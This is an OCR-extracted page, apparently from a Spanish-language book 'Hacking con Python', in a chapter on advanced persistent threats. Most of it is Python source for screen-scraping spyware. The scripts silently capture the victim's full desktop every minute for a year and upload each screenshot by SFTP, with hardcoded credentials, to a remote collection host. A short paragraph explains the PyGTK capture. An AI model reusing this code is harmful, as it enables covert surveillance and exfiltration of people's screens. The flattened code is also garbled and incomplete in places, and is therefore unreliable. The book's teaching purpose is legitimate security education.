Hacking con python

Page 216

Capítulo IV. Amenazas Persistentes Avanzadas

217

sftp = ssh.open_sftp() localpath = screenshotPath remotepath = '/home/adastra/Escritorio/%s' % (screenshotName) sftp.put(localpath, remotepath) sftp.close() ssh.close () def take_screenshot(): window = gtk.gdk.get_default_root_window() sz = window.get_size() pb = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,False,8,sz[0],sz[1]) pb = pb.get_from_drawable(window,window.get_colormap(),0,0,0,0,sz[0],sz[l]) if (pb != None): i = datetime.datetime.now() name = "screenshot_%s-%s-%s-%s-%s-%s.png" %(i.day, i.month, i.year, i.hour, i.minute, i.second) pb.save(name,"png") screenshotPath = os.path.join(os.getcwd(), name) transferScreenshot(screenshotPath,name) minutes = 60*60*24*365 while minutes > 0: timerScreen = Timer(1 * 60, take_screenshot) timerScreen.start() time.sleep(60) minutes = minutes - 1

En este caso se utiliza la librería PyGTK, la cual permite especificar el área para la captura de pantalla y otros detalles como el formato de la imagen y espectro de colores. En el script se indica que se debe capturar la pantalla entera y utilizando el modelo de colores RGB. Las demás funciones son idénticas al script “screenScraperPIL.py”. screenScraperPyScreenShotpy import paramiko, socket, datetime, time, os, sys from threading import Timer import pyscreenshot as ImageGrab def transferScreenshot(screenshotPath, screenshotName): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect('192.168.1.33', username="adastra", password="adastral23") sftp = ssh.open_sftp() localpath = screenshotPath remotepath = '/home/adastra/Escritorio/%s' % (screenshotName) sftp.put(localpath, remotepath) sftp.close() ssh.close() def take_screenshot(): name = "screenshot_%s-%s-%s-%s-%s-%s.png" %(i.day, i.month, i.year, i.hour, i.minute, i.second) im=ImageGrab.grab().save(name)


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.